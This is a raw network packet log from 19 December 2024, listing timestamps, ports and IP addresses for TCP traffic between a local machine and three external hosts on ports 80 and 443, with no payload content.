Dec 19, 2024 03:09:47.400361061 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400387049 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400424957 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400940895 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401031971 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401060104 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401093006 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401177883 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401205063 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401283026 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401453972 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401480913 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.401571989 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.440233946 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:47.440273046 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:47.440366030 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:47.440634012 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:47.440649986 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:48.305691957 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.305773973 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.305883884 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.305896044 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.305948019 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.306183100 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306206942 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306221008 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306230068 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306258917 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.306293011 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.306862116 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306873083 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306881905 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.306922913 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.306961060 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.425369024 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.425432920 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.425441980 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.425515890 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.429519892 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.429578066 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.497823000 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.497880936 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.497905016 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.497951984 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.501970053 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.502140999 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.502202034 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.510394096 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.510468006 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.510481119 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.510550022 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.518770933 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.518822908 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.518898010 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.518943071 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.527184963 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.527287006 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.527328014 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.527373075 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.535571098 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.535623074 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.535692930 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.535748005 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.543962002 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.544075012 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.544101954 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.544238091 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.552282095 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.552382946 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.552407980 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.552577972 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.560735941 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.560767889 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.560791969 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.560827017 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.569046974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.569154978 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.569272995 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.576674938 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.576767921 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.576776981 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.576828957 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.617470980 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.617527962 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.617609978 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.617655993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.658761024 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:48.658837080 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:48.660394907 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:48.660406113 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:48.660732985 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:48.661952019 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:48.661968946 CET	49937	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:48.662044048 CET	443	49937	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:48.689860106 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.689939976 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.690109968 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.690165043 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.692192078 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.692240953 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.693098068 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.693176031 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.693190098 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.693352938 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.697830915 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.697896957 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.697930098 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.697978973 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.702739000 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.702790976 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.702835083 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.702908993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.707417011 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.707464933 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.707506895 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.707648993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.712079048 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.712166071 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.712178946 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.712212086 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.716815948 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.716887951 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.716974974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.717022896 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.721364021 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.721437931 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.721548080 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.721601963 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.726865053 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.726914883 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.726974964 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.730809927 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.730871916 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.730937004 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.731009007 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.735579967 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.735635042 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.735637903 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.735702038 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.740140915 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.740206957 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.740266085 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.740319967 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.744816065 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.744879007 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.744934082 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.744987965 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.749497890 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.749557018 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.749623060 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.749676943 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.753132105 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.753227949 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.753319979 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.753393888 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.756836891 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.756920099 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.756982088 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.760436058 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.760498047 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.760554075 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.760621071 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.764156103 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.764221907 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.764230013 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.764298916 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.767760038 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.767823935 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.767834902 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.770066023 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.771373034 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.771424055 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.771460056 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.771541119 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.774988890 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.775110960 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.775122881 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.777777910 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.778750896 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.778804064 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.778861046 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.809640884 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.809715986 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.809777021 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.811494112 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.811635017 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.863254070 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:48.863615036 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:48.883625031 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.883694887 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.883733034 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.883733034 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.884360075 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.884527922 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.884639025 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.887278080 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.887342930 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.887376070 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.887497902 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.889467001 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.889537096 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.889571905 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.889663935 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.892333984 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.892435074 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.892455101 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.892505884 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.895077944 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.895206928 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.895275116 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.897846937 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.897919893 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.897943974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.898283005 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.900506020 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.900624990 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.901495934 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.903126955 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.903192997 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.903266907 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.903533936 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.905736923 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.905862093 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.905865908 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.907466888 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.908246994 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.908314943 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.908747911 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.908945084 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.910742998 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.910814047 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.910875082 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.910959959 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.913239956 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.913307905 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.913352966 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.914489031 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.915728092 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.915786982 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.915849924 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.918247938 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.918287992 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.918390989 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.918406963 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.918463945 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.920779943 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.920907021 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.922035933 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.923259974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.923327923 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.923397064 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.923712015 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.925765991 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.925822020 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.925910950 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.925975084 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.928297043 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.928414106 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.928951979 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.930826902 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.930924892 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.930965900 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.930999041 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.933402061 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.933566093 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.933630943 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.935780048 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.935931921 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.936003923 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.937602997 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.937668085 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.937726974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.939383030 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.939423084 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.939454079 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.939512014 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.939704895 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.941272974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.941457033 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.941524029 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.943053961 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.943149090 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.943217039 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.944854975 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.944917917 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.944984913 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.945050001 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.946640968 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.946710110 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.946765900 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.946821928 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.948472977 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.948573112 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.948689938 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.950272083 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.950351954 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.950381041 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.950486898 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.952256918 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.952373028 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.952430964 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.953932047 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.953995943 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.954060078 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:48.954130888 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:48.985426903 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:48.985943079 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:49.075603962 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.075712919 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.075719118 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.076042891 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.076345921 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.076459885 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.076550007 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.076646090 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.077560902 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.077703953 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.077707052 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.077915907 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.079166889 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.079302073 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.079330921 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.079607010 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.080698967 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.080884933 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.081051111 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.082447052 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.082501888 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.082555056 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.083781958 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.083904028 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.083976984 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.085345030 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.085412025 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.085443974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.085674047 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.086893082 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.087094069 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.087155104 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.088465929 CET	80	49935	31.41.244.11	192.168.2.5
